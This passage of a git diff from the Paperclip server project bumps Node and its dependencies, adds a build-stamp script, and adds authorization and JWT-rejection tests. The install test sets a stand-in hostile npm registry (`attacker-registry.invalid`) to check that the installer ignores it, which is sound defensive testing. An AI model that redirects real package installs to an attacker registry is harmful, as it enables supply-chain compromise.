+    "server/src/__tests__/inbox-archive-routes.test.ts": 9644,
+    "server/src/__tests__/instance-database-backups-routes.test.ts": 2962,
+    "server/src/__tests__/instance-settings-routes.test.ts": 5356,
+    "server/src/__tests__/invite-accept-existing-member.test.ts": 4812,
+    "server/src/__tests__/invite-accept-gateway-defaults.test.ts": 10423,
+    "server/src/__tests__/invite-accept-replay.test.ts": 5116,
+    "server/src/__tests__/invite-create-route.test.ts": 4640,
+    "server/src/__tests__/invite-expiry.test.ts": 7291,
+    "server/src/__tests__/invite-join-manager.test.ts": 7124,
+    "server/src/__tests__/invite-list-route.test.ts": 7580,
+    "server/src/__tests__/invite-logo-route.test.ts": 5104,
+    "server/src/__tests__/invite-onboarding-text.test.ts": 7095,
+    "server/src/__tests__/invite-rate-limit-route.test.ts": 7446,
+    "server/src/__tests__/invite-summary-route.test.ts": 7598,
+    "server/src/__tests__/invite-test-resolution-route.test.ts": 6135,
+    "server/src/__tests__/invite-url-public-base-url.test.ts": 3482,
+    "server/src/__tests__/issue-activity-events-routes.test.ts": 6254,
+    "server/src/__tests__/issue-agent-mutation-ownership-routes.test.ts": 13283,
+    "server/src/__tests__/issue-assigned-backlog-contract-routes.test.ts": 5442,
+    "server/src/__tests__/issue-assignee-invokability-routes.test.ts": 4602,
+    "server/src/__tests__/issue-attachment-routes.test.ts": 5267,
+    "server/src/__tests__/issue-blocker-diagnostics-routes.test.ts": 10902,
+    "server/src/__tests__/issue-closed-workspace-routes.test.ts": 6589,
+    "server/src/__tests__/issue-comment-attribution-audit-routes.test.ts": 11053,
+    "server/src/__tests__/issue-comment-cancel-routes.test.ts": 4687,
+    "server/src/__tests__/issue-comment-reopen-routes.test.ts": 4009,
+    "server/src/__tests__/issue-create-deduplication-routes.test.ts": 11885,
+    "server/src/__tests__/issue-dependency-wakeups-routes.test.ts": 5701,
+    "server/src/__tests__/issue-document-restore-routes.test.ts": 5902,
+    "server/src/__tests__/issue-execution-policy-routes.test.ts": 6571,
+    "server/src/__tests__/issue-feedback-routes.test.ts": 3978,
+    "server/src/__tests__/issue-identifier-routes.test.ts": 11276,
+    "server/src/__tests__/issue-list-assignee-filter-routes.test.ts": 12518,
+    "server/src/__tests__/issue-list-updatedsince-filter-routes.test.ts": 10919,
+    "server/src/__tests__/issue-onboarding-first-task-routes.test.ts": 12493,
+    "server/src/__tests__/issue-scheduled-retry-routes.test.ts": 11559,
+    "server/src/__tests__/issue-stale-execution-lock-routes.test.ts": 11281,
+    "server/src/__tests__/issue-stalled-review-decision-routes.test.ts": 11437,
+    "server/src/__tests__/issue-subtree-diagnostics-routes.test.ts": 11043,
+    "server/src/__tests__/issue-telemetry-routes.test.ts": 4745,
+    "server/src/__tests__/issue-thread-interaction-routes.test.ts": 8825,
+    "server/src/__tests__/issue-tree-control-routes.test.ts": 2689,
+    "server/src/__tests__/issue-update-comment-wakeup-routes.test.ts": 6552,
+    "server/src/__tests__/issue-wake-diagnostics-routes.test.ts": 11098,
+    "server/src/__tests__/issue-watchdogs-routes.test.ts": 15909,
+    "server/src/__tests__/issue-workspace-command-authz.test.ts": 3660,
+    "server/src/__tests__/issues-checkout-wakeup.test.ts": 1053,
+    "server/src/__tests__/issues-goal-context-routes.test.ts": 5356,
+    "server/src/__tests__/issues-service.test.ts": 37910,
+    "server/src/__tests__/llms-routes.test.ts": 2370,
+    "server/src/__tests__/low-trust-red-team-routes.test.ts": 25333,
+    "server/src/__tests__/multilingual-issues-routes.test.ts": 11329,
+    "server/src/__tests__/onboarding-seed-route.test.ts": 8981,
+    "server/src/__tests__/openapi-routes.test.ts": 3234,
+    "server/src/__tests__/openclaw-invite-prompt-route.test.ts": 3938,
+    "server/src/__tests__/opencode-local-adapter-environment.test.ts": 1071,
+    "server/src/__tests__/permissions-upgrade-boundary-routes.test.ts": 11054,
+    "server/src/__tests__/pipelines-routes.test.ts": 13514,
+    "server/src/__tests__/plugin-install-route-security.test.ts": 10977,
+    "server/src/__tests__/plugin-routes-authz.test.ts": 3628,
+    "server/src/__tests__/plugin-scoped-api-routes.test.ts": 3535,
+    "server/src/__tests__/project-goal-telemetry-routes.test.ts": 4566,
+    "server/src/__tests__/project-routes-env.test.ts": 3141,
+    "server/src/__tests__/projects-list-archived-routes.test.ts": 10943,
+    "server/src/__tests__/redaction.test.ts": 973,
+    "server/src/__tests__/resource-memberships-routes.test.ts": 11206,
+    "server/src/__tests__/routine-document-annotation-routes.test.ts": 2824,
+    "server/src/__tests__/routines-e2e.test.ts": 12006,
+    "server/src/__tests__/routines-routes.test.ts": 4019,
+    "server/src/__tests__/secret-proposals-routes.test.ts": 15670,
+    "server/src/__tests__/secrets-routes.test.ts": 4757,
+    "server/src/__tests__/sidebar-preferences-routes.test.ts": 3080,
+    "server/src/__tests__/summary-slot-routes.test.ts": 3858,
+    "server/src/__tests__/teams-catalog-routes.test.ts": 3463,
+    "server/src/__tests__/user-profile-routes.test.ts": 6441,
+    "server/src/__tests__/workspace-runtime-routes-authz.test.ts": 3296,
+    "server/src/__tests__/workspace-runtime-service-authz.test.ts": 6251
+  }
+}
diff --git a/scripts/test-install-sh-docker.sh b/scripts/test-install-sh-docker.sh
index 741c138cf9f..c1aaef29523 100755
--- a/scripts/test-install-sh-docker.sh
+++ b/scripts/test-install-sh-docker.sh
@@ -36,7 +36,7 @@ run_with_node() {
     -v "$RESULTS_DIR:/results" \
     -e "PAPERCLIP_INSTALL_TEST_LOG=/results/$name.args" \
     -e PATH="/paperclip-scripts/install-sh-fixtures:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" \
-    node:22-bookworm-slim \
+    node:24-bookworm-slim \
     "$@"
 }
 
@@ -84,7 +84,7 @@ docker run --rm \
   -e npm_config_registry=http://attacker-registry.invalid \
   -e PAPERCLIP_INSTALL_TEST_LOG=/results/hostile.args \
   -e PATH="/paperclip-scripts/install-sh-fixtures:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" \
-  node:22-bookworm-slim \
+  node:24-bookworm-slim \
   bash /paperclip-scripts/install.sh --no-prompt --no-onboard
 assert_line "$RESULTS_DIR/hostile.args" "--registry=https://registry.npmjs.org"
 assert_line "$RESULTS_DIR/hostile.args" "NPM_CONFIG_REGISTRY=https://registry.npmjs.org"
@@ -140,7 +140,7 @@ docker run --rm \
   -e PAPERCLIP_INSTALL_NO_ONBOARD=1 \
   -e PAPERCLIP_INSTALL_NO_PROMPT=1 \
   -e PATH="/paperclip-scripts/install-sh-fixtures:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" \
-  node:22-bookworm-slim \
+  node:24-bookworm-slim \
   bash /paperclip-scripts/install.sh
 assert_line "$RESULTS_DIR/env.args" "paperclipai@2026.722.0"
 assert_line "$RESULTS_DIR/env.args" "--version"
@@ -161,8 +161,8 @@ assert_line "$RESULTS_DIR/no-node.args" "paperclipai@latest"
 node_version="$(cat "$RESULTS_DIR/no-node.args.node")"
 node_major="${node_version#v}"
 node_major="${node_major%%.*}"
-[ "$node_major" -ge 20 ] || {
-  printf 'Expected Node >= 20, got %s\n' "$node_version" >&2
+[ "$node_major" -ge 24 ] || {
+  printf 'Expected Node >= 24, got %s\n' "$node_version" >&2
   exit 1
 }
 
diff --git a/server/CHANGELOG.md b/server/CHANGELOG.md
index 56110f9e795..45f80ee6624 100644
--- a/server/CHANGELOG.md
+++ b/server/CHANGELOG.md
@@ -1,5 +1,11 @@
 # @paperclipai/server
 
+## Unreleased
+
+### Patch Changes
+
+- Bound full-tree workspace Git scans with process-wide concurrency, queue, timeout, cancellation, coalescing, and short-lived changed-file caching. Saturated or timed-out changed-file requests now return a retryable degraded response, and hidden file-browser panels no longer initiate scans.
+
 ## 0.3.1
 
 ### Patch Changes
diff --git a/server/package.json b/server/package.json
index c27d966b828..7e52e3a1b6f 100644
--- a/server/package.json
+++ b/server/package.json
@@ -35,7 +35,7 @@
     "dev": "tsx src/index.ts",
     "dev:watch": "cross-env PAPERCLIP_MIGRATION_PROMPT=never PAPERCLIP_MIGRATION_AUTO_APPLY=true tsx ./scripts/dev-watch.ts",
     "prepare:ui-dist": "bash ../scripts/prepare-server-ui-dist.sh",
-    "build": "tsc && mkdir -p dist/onboarding-assets dist/built-ins && cp -R src/onboarding-assets/. dist/onboarding-assets/ && cp -R src/built-ins/. dist/built-ins/",
+    "build": "tsc && mkdir -p dist/onboarding-assets dist/built-ins && cp -R src/onboarding-assets/. dist/onboarding-assets/ && cp -R src/built-ins/. dist/built-ins/ && node scripts/write-build-stamp.mjs",
     "prepack": "pnpm run prepare:ui-dist",
     "postpack": "rm -rf ui-dist",
     "clean": "rm -rf dist",
@@ -43,7 +43,7 @@
     "typecheck": "pnpm --filter @paperclipai/plugin-sdk ensure-build-deps && tsc --noEmit"
   },
   "dependencies": {
-    "@aws-sdk/client-s3": "^3.1106.0",
+    "@aws-sdk/client-s3": "^3.1111.0",
     "@opentelemetry/api": "^1.9.0",
     "@paperclipai/adapter-claude-local": "workspace:*",
     "@paperclipai/adapter-codex-local": "workspace:*",
@@ -51,6 +51,7 @@
     "@paperclipai/adapter-cursor-local": "workspace:*",
     "@paperclipai/adapter-gemini-local": "workspace:*",
     "@paperclipai/adapter-grok-local": "workspace:*",
+    "@paperclipai/adapter-kimi-local": "workspace:*",
     "@paperclipai/adapter-openclaw-gateway": "workspace:*",
     "@paperclipai/adapter-opencode-local": "workspace:*",
     "@paperclipai/adapter-pi-local": "workspace:*",
@@ -62,39 +63,42 @@
     "@paperclipai/hermes-paperclip-adapter": "workspace:*",
     "ajv": "^8.20.0",
     "ajv-formats": "^3.0.1",
-    "better-auth": "1.6.25",
-    "chokidar": "^4.0.3",
+    "better-auth": "1.6.28",
+    "chokidar": "^5.0.0",
     "detect-port": "^2.1.0",
     "dompurify": "^3.4.13",
     "dotenv": "^17.4.2",
     "drizzle-orm": "^0.45.2",
     "embedded-postgres": "^18.1.0-beta.16",
     "express": "^5.1.0",
-    "jsdom": "^28.1.0",
+    "jsdom": "^30.0.1",
     "multer": "^2.2.0",
-    "open": "^11.0.0",
-    "pino": "^9.6.0",
-    "pino-http": "^10.4.0",
+    "open": "^11.0.1",
+    "pino": "^10.0.0",
+    "pino-http": "^11.0.0",
     "pino-pretty": "^13.1.3",
     "sharp": "^0.35.3",
     "ssh2": "^1.17.0",
-    "ws": "^8.21.1",
-    "zod": "^3.24.2"
+    "ws": "^8.21.3",
+    "zod": "^4.4.3"
   },
   "devDependencies": {
     "@types/express": "^5.0.0",
     "@types/express-serve-static-core": "^5.1.3",
-    "@types/jsdom": "^28.0.0",
+    "@types/jsdom": "^30.0.0",
     "@types/multer": "^2.2.0",
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "@types/sharp": "^0.32.0",
     "@types/supertest": "^6.0.2",
     "@types/ws": "^8.18.1",
     "cross-env": "^10.1.0",
     "supertest": "^7.0.0",
-    "tsx": "^4.23.1",
+    "tsx": "^4.23.12",
     "typescript": "^5.7.3",
     "vite": "^6.4.3",
     "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/server/scripts/write-build-stamp.mjs b/server/scripts/write-build-stamp.mjs
new file mode 100644
index 00000000000..bceb09455f8
--- /dev/null
+++ b/server/scripts/write-build-stamp.mjs
@@ -0,0 +1,87 @@
+// Write the build stamp for the server.
+//
+// The server `build` script runs this after `tsc`. It writes the commit SHA
+// into `dist/build-info.json`. The instrumentation module reads that stamp to
+// report `service.version`, so the value tracks the true built commit.
+//
+// The build resolves the commit in two steps:
+//   1. `git rev-parse --short HEAD` in the server directory.
+//   2. The `PAPERCLIP_BUILD_COMMIT` environment variable.
+// A Docker image build excludes `.git`, so the git lookup fails there. The
+// image build passes the commit in `PAPERCLIP_BUILD_COMMIT` instead, so the
+// stamp still records the true built commit.
+//
+// The build must not fail when no commit is available. A missing `git`, a
+// checkout with no `.git`, and an unset `PAPERCLIP_BUILD_COMMIT` together write
+// no stamp and exit 0.
+
+import { execFileSync } from "node:child_process";
+import { mkdirSync, writeFileSync } from "node:fs";
+import { dirname, join } from "node:path";
+import { fileURLToPath, pathToFileURL } from "node:url";
+
+const scriptDir = dirname(fileURLToPath(import.meta.url));
+const serverDir = join(scriptDir, "..");
+const distDir = join(serverDir, "dist");
+const outFile = join(distDir, "build-info.json");
+
+/**
+ * Resolve the commit for the build stamp. Prefer the git commit. Fall back to
+ * the supplied commit — the value a Docker image build passes in
+ * `PAPERCLIP_BUILD_COMMIT` when `.git` is absent. Return null when neither
+ * source gives a non-empty value.
+ *
+ * @param {unknown} gitCommit The `git rev-parse` result, or null on failure.
+ * @param {unknown} suppliedCommit The `PAPERCLIP_BUILD_COMMIT` value.
+ * @returns {string | null}
+ */
+export function resolveBuildCommit(gitCommit, suppliedCommit) {
+  const git = typeof gitCommit === "string" ? gitCommit.trim() : "";
+  if (git) return git;
+  const supplied = typeof suppliedCommit === "string" ? suppliedCommit.trim() : "";
+  if (supplied) return supplied;
+  return null;
+}
+
+/**
+ * Read the short commit SHA with `git rev-parse --short HEAD` in the server
+ * directory. Return the SHA, or null on any failure.
+ *
+ * @returns {string | null}
+ */
+function readGitCommit() {
+  try {
+    const out = execFileSync("git", ["rev-parse", "--short", "HEAD"], {
+      cwd: serverDir,
+      stdio: ["ignore", "pipe", "ignore"],
+    })
+      .toString()
+      .trim();
+    return out.length > 0 ? out : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Resolve the commit and write the build stamp. Write no stamp and return when
+ * no commit is available, so the build continues.
+ */
+function main() {
+  const commit = resolveBuildCommit(readGitCommit(), process.env.PAPERCLIP_BUILD_COMMIT);
+
+  if (!commit) {
+    console.log("[build-stamp] no commit available; wrote no build stamp");
+    return;
+  }
+
+  mkdirSync(distDir, { recursive: true });
+  writeFileSync(outFile, `${JSON.stringify({ commit }, null, 2)}\n`);
+  console.log(`[build-stamp] wrote ${outFile} commit=${commit}`);
+}
+
+// Run only when node invokes this file directly (the `build` script). A test
+// that imports `resolveBuildCommit` does not run `main`.
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
+  main();
+}
diff --git a/server/src/__tests__/access-routes-hidden-floor.test.ts b/server/src/__tests__/access-routes-hidden-floor.test.ts
new file mode 100644
index 00000000000..992e32871a4
--- /dev/null
+++ b/server/src/__tests__/access-routes-hidden-floor.test.ts
@@ -0,0 +1,95 @@
+import express from "express";
+import request from "supertest";
+import { afterEach, beforeAll, describe, expect, it } from "vitest";
+
+/**
+ * Operator-hidden Access surface floor (`instance.access` in
+ * PAPERCLIP_HIDDEN_SETTINGS): instance-admin user management routes reject
+ * with a stable code while the rest of the access router stays untouched.
+ * The floor throws before any data access, so a stub db suffices; the
+ * unfloored happy paths are covered by the embedded-postgres access tests.
+ */
+
+const stubDb = {
+  select: () => ({
+    from: () => {
+      const chain = {
+        orderBy: async () => [] as unknown[],
+        where: async () => [] as unknown[],
+      };
+      return chain;
+    },
+  }),
+} as never;
+
+async function createApp() {
+  const [{ accessRoutes }, { errorHandler }] = await Promise.all([
+    import("../routes/access.js"),
+    import("../middleware/index.js"),
+  ]);
+  const app = express();
+  app.use(express.json());
+  app.use((req, _res, next) => {
+    req.actor = {
+      type: "board",
+      userId: "instance-admin-1",
+      source: "local_implicit",
+      companyIds: ["company-1"],
+      memberships: [{ companyId: "company-1", membershipRole: "owner", status: "active" }],
+      isInstanceAdmin: true,
+    } as Express.Request["actor"];
+    next();
+  });
+  app.use("/api", accessRoutes(stubDb, {
+    deploymentMode: "authenticated",
+    deploymentExposure: "private",
+    bindHost: "127.0.0.1",
+    allowedHostnames: [],
+  }));
+  app.use(errorHandler);
+  return app;
+}
+
+describe("operator-hidden access admin floor", () => {
+  let app: express.Express;
+
+  // The access router is a large module; import and build the app once so the
+  // cost is not charged to the first test's timeout on slow CI runners.
+  beforeAll(async () => {
+    app = await createApp();
+  }, 30_000);
+
+  afterEach(() => {
+    delete process.env.PAPERCLIP_HIDDEN_SETTINGS;
+  });
+
+  const attempts: Array<[string, () => request.Test]> = [
+    ["promote", () => request(app).post("/api/admin/users/user-1/promote-instance-admin")],
+    ["demote", () => request(app).post("/api/admin/users/user-1/demote-instance-admin")],
+    [
+      "company access write",
+      () => request(app).put("/api/admin/users/user-1/company-access").send({ companyIds: [] }),
+    ],
+    ["user listing", () => request(app).get("/api/admin/users")],
+    ["company access read", () => request(app).get("/api/admin/users/user-1/company-access")],
+  ];
+
+  it.each(attempts)(
+    "floors the %s route when the operator hides the surface",
+    async (_name, buildRequest) => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.access";
+
+      const res = await buildRequest();
+
+      expect(res.status, JSON.stringify(res.body)).toBe(403);
+      expect(res.body.details).toMatchObject({ code: "settings_operator_managed" });
+    },
+  );
+
+  it("keeps the routes reachable when the surface is not hidden", async () => {
+    const res = await request(app).get("/api/admin/users");
+
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+    expect(res.body).toEqual([]);
+  });
+});
diff --git a/server/src/__tests__/adapter-routes-authz.test.ts b/server/src/__tests__/adapter-routes-authz.test.ts
index 850ba2128d3..3596d8d38e0 100644
--- a/server/src/__tests__/adapter-routes-authz.test.ts
+++ b/server/src/__tests__/adapter-routes-authz.test.ts
@@ -367,4 +367,41 @@ describe.sequential("adapter management route authorization", () => {
       },
     );
   });
+
+  describe("operator-hidden adapter management floor", () => {
+    beforeEach(() => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.adapters";
+    });
+    afterEach(() => {
+      delete process.env.PAPERCLIP_HIDDEN_SETTINGS;
+    });
+
+    it.each(["install", "disable", "override", "delete", "reload", "reinstall"] as const)(
+      "floors adapter %s for instance admins when the operator hides the Adapters surface",
+      async (routeName) => {
+        resetInstalledExternalAdapterState();
+        if (routeName !== "install") {
+          seedInstalledExternalAdapter();
+        }
+        const app = createApp(instanceAdmin);
+
+        const res = await sendMutatingRequest(app, routeName);
+
+        expect(res.status, `${routeName}: ${JSON.stringify(res.body)}`).toBe(403);
+        expect(res.body.details).toMatchObject({ code: "settings_operator_managed" });
+        expect(mocks.execFile).not.toHaveBeenCalled();
+        expect(mocks.loadExternalAdapterPackage).not.toHaveBeenCalled();
+        expect(mocks.reloadExternalAdapter).not.toHaveBeenCalled();
+      },
+    );
+
+    it("keeps adapter reads open while the surface is hidden", async () => {
+      seedInstalledExternalAdapter();
+      const app = createApp(boardMember("admin"));
+
+      const res = await requestApp(app, (baseUrl) => request(baseUrl).get("/api/adapters"));
+
+      expect(res.status, JSON.stringify(res.body)).toBe(200);
+    });
+  });
 });
diff --git a/server/src/__tests__/adapter-routes.test.ts b/server/src/__tests__/adapter-routes.test.ts
index aaae9fc89ee..92b03221615 100644
--- a/server/src/__tests__/adapter-routes.test.ts
+++ b/server/src/__tests__/adapter-routes.test.ts
@@ -167,7 +167,7 @@ describe("adapter routes", () => {
       agentId: "codex",
       skillsMode: "ephemeral",
       prerequisites: {
-        nodeRange: ">=22.13.0",
+        nodeRange: ">=24.11.0",
         packages: ["@agentclientprotocol/codex-acp"],
       },
     });
@@ -203,7 +203,7 @@ describe("adapter routes", () => {
       agentId: "gemini",
       skillsMode: "ephemeral",
       prerequisites: {
-        nodeRange: ">=20.0.0",
+        nodeRange: ">=24.11.0",
         packages: ["@google/gemini-cli"],
       },
     });
@@ -218,6 +218,24 @@ describe("adapter routes", () => {
       supportsAcp: false,
     });
 
+    const kimiAdapter = res.body.find((a: any) => a.type === "kimi_local");
+    expect(kimiAdapter).toBeDefined();
+    expect(kimiAdapter.capabilities).toMatchObject({
+      supportsInstructionsBundle: true,
+      supportsSkills: true,
+      supportsLocalAgentJwt: true,
+      requiresMaterializedRuntimeSkills: true,
+      supportsAcp: true,
+    });
+    expect(kimiAdapter.acp).toMatchObject({
+      agentId: "kimi",
+      skillsMode: "ephemeral",
+      prerequisites: {
+        nodeRange: ">=20.0.0",
+        packages: ["@moonshot-ai/kimi-code"],
+      },
+    });
+
     const hermesLocal = res.body.find((a: any) => a.type === "hermes_local");
     expect(hermesLocal).toBeDefined();
     expect(hermesLocal.source).toBe("builtin");
diff --git a/server/src/__tests__/agent-adapter-validation-routes.test.ts b/server/src/__tests__/agent-adapter-validation-routes.test.ts
index ff1a00e9d8a..8540d622bc7 100644
--- a/server/src/__tests__/agent-adapter-validation-routes.test.ts
+++ b/server/src/__tests__/agent-adapter-validation-routes.test.ts
@@ -354,6 +354,58 @@ describe("agent routes adapter validation", () => {
     expect(env.CODEX_HOME).toBeUndefined();
   });
 
+  it("forwards a claude_local→process adapter move that drops the OAuth binding to the service unchanged", async () => {
+    // The agent has the fixed Claude Code OAuth binding on the claude_local
+    // adapter. A PATCH moves the agent to the process adapter and sends an empty
+    // env in the same request. The route must forward the new adapter type and
+    // the dropped binding to the service without a re-injection, so the
+    // service-enforced binding invariant sees the removal and rejects it.
+    const agentId = "11111111-1111-4111-8111-111111111111";
+    mockAgentService.getById.mockResolvedValue({
+      id: agentId,
+      companyId: "company-1",
+      name: "Claude",
+      urlKey: "claude",
+      role: "engineer",
+      title: null,
+      icon: null,
+      status: "idle",
+      reportsTo: null,
+      capabilities: null,
+      adapterType: "claude_local",
+      adapterConfig: { env: { CLAUDE_CODE_OAUTH_TOKEN: { type: "user_secret_ref", key: "CLAUDE_CODE_OAUTH_TOKEN" } } },
+      runtimeConfig: {},
+      budgetMonthlyCents: 0,
+      spentMonthlyCents: 0,
+      pauseReason: null,
+      pausedAt: null,
+      permissions: { canCreateAgents: false },
+      lastHeartbeatAt: null,
+      metadata: null,
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    const app = await createApp();
+    const res = await requestApp(app, (baseUrl) =>
+      request(baseUrl)
+        .patch(`/api/agents/${agentId}`)
+        .send({
+          adapterType: "process",
+          adapterConfig: { env: {} },
+        }),
+    );
+
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+    const patch = mockAgentService.update.mock.calls.at(-1)?.[1] as Record<string, unknown>;
+    // The route forwards the requested adapter type, so the service can see the
+    // adapter move.
+    expect(patch.adapterType).toBe("process");
+    // The route does not re-inject the fixed binding from the prior config, so
+    // the service invariant sees the removal.
+    const env = ((patch.adapterConfig as Record<string, unknown>).env as Record<string, unknown> | undefined) ?? {};
+    expect(env.CLAUDE_CODE_OAUTH_TOKEN).toBeUndefined();
+  });
+
   it("isolates CODEX_HOME when updating a codex_local agent to set its own OPENAI_API_KEY", async () => {
     const agentId = "11111111-1111-4111-8111-111111111111";
     const app = await createApp();
diff --git a/server/src/__tests__/agent-auth-middleware.test.ts b/server/src/__tests__/agent-auth-middleware.test.ts
index ff27e685b77..231ad00c9a5 100644
--- a/server/src/__tests__/agent-auth-middleware.test.ts
+++ b/server/src/__tests__/agent-auth-middleware.test.ts
@@ -90,12 +90,12 @@ function createDbState(input: {
   return { db, activity };
 }
 
-function createApp(db: any) {
+function createApp(db: any, deploymentMode: "authenticated" | "local_trusted" = "authenticated") {
   const app = express();
   app.use(express.json());
   app.use(
     actorMiddleware(db, {
-      deploymentMode: "authenticated",
+      deploymentMode,
       resolveSession: async () => null,
     }),
   );
@@ -124,6 +124,7 @@ function craftAgentJwtWithoutResponsibleClaim(input: {
   companyId: string;
   adapterType: string;
   runId: string;
+  expiresInSeconds?: number;
 }) {
   const now = Math.floor(Date.now() / 1000);
   const header = { alg: "HS256", typ: "JWT" };
@@ -133,7 +134,7 @@ function craftAgentJwtWithoutResponsibleClaim(input: {
     adapter_type: input.adapterType,
     run_id: input.runId,
     iat: now,
-    exp: now + 3600,
+    exp: now + (input.expiresInSeconds ?? 3600),
     iss: "paperclip",
     aud: "paperclip-api",
   };
@@ -171,6 +172,92 @@ describe("agent auth middleware", () => {
     else process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId;
   });
 
+  it("keeps header-less local requests as the implicit board actor with their run id", async () => {
+    const runId = randomUUID();
+    const { db } = createDbState({ agent: { id: randomUUID(), companyId: randomUUID() } });
+
+    const res = await request(createApp(db, "local_trusted"))
+      .get("/actor")
+      .set("X-Paperclip-Run-Id", runId);
+
+    expect(res.status).toBe(200);
+    expect(res.body).toMatchObject({ type: "board", userId: "local-board", runId });
+  });
+
+  it.each([
+    ["empty bearer token", "Bearer   ", "Empty bearer token"],
+    ["unverified token", "Bearer not-a-token", "Agent token did not verify"],
+  ])("rejects %s instead of retaining the implicit local-board actor", async (_label, authorization, error) => {
+    const { db } = createDbState({ agent: { id: randomUUID(), companyId: randomUUID() } });
+    let commentWrites = 0;
+    const app = createApp(db, "local_trusted");
+    app.post("/comments", (_req, res) => {
+      commentWrites += 1;
+      res.status(201).json({ ok: true });
+    });
+
+    const res = await request(app).post("/comments").set("Authorization", authorization).send({ body: "reply" });
+
+    expect(res.status).toBe(401);
+    expect(res.body.error).toContain(error);
+    expect(commentWrites).toBe(0);
+  });
+
+  it.each([
+    ["terminated", "Agent is terminated"],
+    ["pending_approval", "Agent is pending approval"],
+  ])("rejects a %s agent JWT instead of retaining local-board", async (status, error) => {
+    const companyId = randomUUID();
+    const agentId = randomUUID();
+    const runId = randomUUID();
+    const { db } = createDbState({ agent: { id: agentId, companyId, status } });
+    const token = createLocalAgentJwt(agentId, companyId, "codex_local", runId, "user-1");
+
+    const res = await request(createApp(db, "local_trusted"))
+      .get("/actor")
+      .set("Authorization", `Bearer ${token}`);
+
+    expect(res.status).toBe(401);
+    expect(res.body.error).toContain(error);
+  });
+
+  it("rejects an agent JWT when the agent record belongs to another company", async () => {
+    const companyId = randomUUID();
+    const agentId = randomUUID();
+    const runId = randomUUID();
+    const { db } = createDbState({ agent: { id: agentId, companyId: randomUUID() } });
+    const token = createLocalAgentJwt(agentId, companyId, "codex_local", runId, "user-1");
+
+    const res = await request(createApp(db, "local_trusted"))
+      .get("/actor")
+      .set("Authorization", `Bearer ${token}`);
+
+    expect(res.status).toBe(401);
+    expect(res.body.error).toContain("missing or belongs to another company");
+  });
+
+  it("reports an expired agent JWT specifically", async () => {
+    const companyId = randomUUID();
+    const agentId = randomUUID();
+    const runId = randomUUID();
+    const { db } = createDbState({ agent: { id: agentId, companyId } });
+    const token = craftAgentJwtWithoutResponsibleClaim({
+      secret: process.env.PAPERCLIP_AGENT_JWT_SECRET!,
+      agentId,
+      companyId,
+      adapterType: "codex_local",
+      runId,
+      expiresInSeconds: -1,
+    });
+
+    const res = await request(createApp(db, "local_trusted"))
+      .get("/actor")
+      .set("Authorization", `Bearer ${token}`);
+
+    expect(res.status).toBe(401);
+    expect(res.body.error).toContain("Expired agent token");
+  });
+
   it("uses the signed responsible_user_id claim and keeps the signed run id authoritative", async () => {
     const companyId = randomUUID();
     const agentId = randomUUID();
diff --git a/server/src/__tests__/agent-device-login-routes.test.ts b/server/src/__tests__/agent-device-login-routes.test.ts
index c3bb8568db4..84780e01c85 100644
--- a/server/src/__tests__/agent-device-login-routes.test.ts
+++ b/server/src/__tests__/agent-device-login-routes.test.ts
@@ -61,6 +61,9 @@ const mockSecretService = vi.hoisted(() => ({
 const mockEnvironmentService = vi.hoisted(() => ({
   getById: vi.fn(),
   releaseLease: vi.fn(),
+  // The login guard reads the companies that own the environment. An empty
+  // list marks an instance-global environment, so the guard stays open.
+  listBoundCompanyIds: vi.fn(async () => [] as string[]),
 }));
 
 const mockEnvironmentRuntime = vi.hoisted(() => ({
@@ -174,19 +177,22 @@ vi.mock("../services/codex-device-login-service.js", async (importOriginal) => {
 function createMemoryStore(): AdapterAuthSessionStore & { rows: Map<string, AdapterAuthSessionRow> } {
   const rows = new Map<string, AdapterAuthSessionRow>();
   const activeSlots = new Set<string>();
-  const slotKey = (companyId: string, adapterType: string) => `${companyId}|${adapterType}`;
+  // The active slot is scoped to the company, the owner, and the adapter.
+  const slotKey = (companyId: string, startedByUserId: string, adapterType: string) =>
+    `${companyId}|${startedByUserId}|${adapterType}`;
   const isActive = (status: AdapterAuthSessionRow["status"]) =>
     status === "starting" || status === "waiting_for_user" || status === "promoting";
   return {
     rows,
     async insert(input) {
-      const key = slotKey(input.companyId, input.adapterType);
+      const key = slotKey(input.companyId, input.startedByUserId, input.adapterType);
       if (activeSlots.has(key)) {
         throw new AdapterAuthSessionConflictError();
       }
       activeSlots.add(key);
       rows.set(input.id, {
         id: input.id,
+        publicSessionId: input.publicSessionId,
         companyId: input.companyId,
         environmentId: input.environmentId,
         adapterType: input.adapterType,
@@ -210,7 +216,8 @@ function createMemoryStore(): AdapterAuthSessionStore & { rows: Map<string, Adap
       if (input.failureReason !== undefined) row.failureReason = input.failureReason;
       if (input.finishedAt !== undefined) row.finishedAt = input.finishedAt;
       if (input.promotionExpiresAt !== undefined) row.promotionExpiresAt = input.promotionExpiresAt;
-      if (!isActive(input.status)) activeSlots.delete(slotKey(row.companyId, row.adapterType));
+      if (!isActive(input.status))
+        activeSlots.delete(slotKey(row.companyId, row.startedByUserId, row.adapterType));
     },
     async compareAndSetStatus(input) {
       const row = rows.get(input.sessionId);
@@ -219,14 +226,25 @@ function createMemoryStore(): AdapterAuthSessionStore & { rows: Map<string, Adap
       if (input.failureReason !== undefined) row.failureReason = input.failureReason;
       if (input.finishedAt !== undefined) row.finishedAt = input.finishedAt;
       if (input.promotionExpiresAt !== undefined) row.promotionExpiresAt = input.promotionExpiresAt;
-      if (!isActive(input.status)) activeSlots.delete(slotKey(row.companyId, row.adapterType));
+      if (!isActive(input.status))
+        activeSlots.delete(slotKey(row.companyId, row.startedByUserId, row.adapterType));
       return true;
     },
     async get(sessionId) {
       const row = rows.get(sessionId);
       return row ? { ...row } : null;
     },
-    async withCompanyAdapterPromotionLock(_companyId, _adapterType, fn) {
